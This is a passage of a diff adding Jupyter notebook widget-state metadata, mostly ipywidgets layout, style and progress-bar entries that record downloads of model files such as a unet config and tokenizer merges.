+            "width": null
+          }
+        },
+        "84f1832335f44d73b6a1a588f0e79a11": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e90005c8a5664c6f80e37268666f1a9f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_783dca59f6a54589b6fb848cb13c5f3f",
+            "value": " 1.45G/1.45G [00:10&lt;00:00, 140MB/s]"
+          }
+        },
+        "851c4973cb0c4fbe91536a09f006ad43": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "85caf1e9b73e46cea1ce2c4ebf92554b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4332d0e942ea406daeca4e1bbd36d4cb",
+            "max": 1445157124,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_44d7b2f89c984dcda69f368adbdf846f",
+            "value": 1445157124
+          }
+        },
+        "869c22e5399145dab7e36633b910abca": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_6e89b30bfcd04f1ebc77492eae365847",
+              "IPY_MODEL_7f27d4dadc2a4c4783f35193cf085593",
+              "IPY_MODEL_fa4ce3277cce4064aaf40849870966c1"
+            ],
+            "layout": "IPY_MODEL_d2324949415f4df2a964046b326231a4"
+          }
+        },
+        "87d4c1e6a2a047f887704f6b0a148d2e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "87fcb7d5949d440dbe3c18e7059e65ad": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "88491458b25e4ae5a66afeaae7f76c12": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "88e4029063f44ce5a7e89e8f17664eeb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "89a159fc68ef4972a0368c72306cd8c4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "89abbaee27c441b3ab1c656806a7e67d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "89feac2a7b7d47388548f946fff4c862": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8adb835bb80941dfa3e21c9dac93d793": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8b7c3bcf27644ac09871f733662c4d8b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8baeb11dd15840e691eadde3f79bf4f2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_97348ede0e464090845a56a64a53e493",
+            "placeholder": "​",
+            "style": "IPY_MODEL_282f7b2aeec54a81b94da85c85c7cb75",
+            "value": " 492M/492M [00:05&lt;00:00, 135MB/s]"
+          }
+        },
+        "8bc53de7028e4a05bc683a6f47548d62": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8c0d69533b674629b69a64345fc4d67e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8c4e2621ec244a2db21262a8ed0e4ab7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "8cb0f3ae820947a5984dd422b33776dd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b5462a2b462147899d82f6b4617cf781",
+            "placeholder": "​",
+            "style": "IPY_MODEL_d84093973fe84b06bb05f125ab7a11bb",
+            "value": "Downloading (…)e6a/unet/config.json: 100%"
+          }
+        },
+        "8cec2e55fc3542789938c24adb050ca9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ec7bdbec2fc342f38039b8420a162a25",
+            "max": 492265874,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_dab4d54863e24f169f18999da88be46f",
+            "value": 492265874
+          }
+        },
+        "8d27414ca68a4494ab3febc1c8a03025": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_77a73421b7ae4bfe9fcb87353a121402",
+            "placeholder": "​",
+            "style": "IPY_MODEL_7bee130b66754bbc85e8454455ece425",
+            "value": " 3.44G/3.44G [00:22&lt;00:00, 270MB/s]"
+          }
+        },
+        "8d2da5062f414a7f8c98facdd7d2bad0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8d2f2b219308442db07d23b057f8e7cf": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "8d62ab081ff94e7abe3cc911d3376bbd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8dd1b3d2ce124d2a92d69bb1897a078e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2898c9af6aea4c79a4f9e89e24275083",
+            "max": 472,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_c34ca1ea918344188c3241400aa3e775",
+            "value": 472
+          }
+        },
+        "8e31c3cc06bd4e9b92c3b1e6d5a9d61f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7c2b45b1cf2a485b93e52b2dee04a278",
+            "placeholder": "​",
+            "style": "IPY_MODEL_851c4973cb0c4fbe91536a09f006ad43",
+            "value": " 382/382 [00:00&lt;00:00, 7.26kB/s]"
+          }
+        },
+        "8f92d6ba8bd04fabb8e6dddf0c7dfa44": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "8ff9c129cb434f9bbab238f1779c9b0b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "90398133563a48288ebf11cf0e0e242d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_89abbaee27c441b3ab1c656806a7e67d",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9a46a59ffb8d44c89b067519101f7a74",
+            "value": "Downloading (…)tokenizer/merges.txt: 100%"
+          }
+        },
+        "9074425e4bf04c428926f5504cd3a8de": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "90d2a57096964b7a9e2aef14ec54e2a7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "911cafa406d2409f8ac69d9c9ae0dd94": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "922d64656ae0415795f9e50e79d5d5f8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "93d2d9e917d84072ae401952c12904bf": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "93df8bff634740a29f3820042d69347f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "940a28141ae14329831b67e91ff1091a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "941873b1d19b4c2da615ed461fc6cbc7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
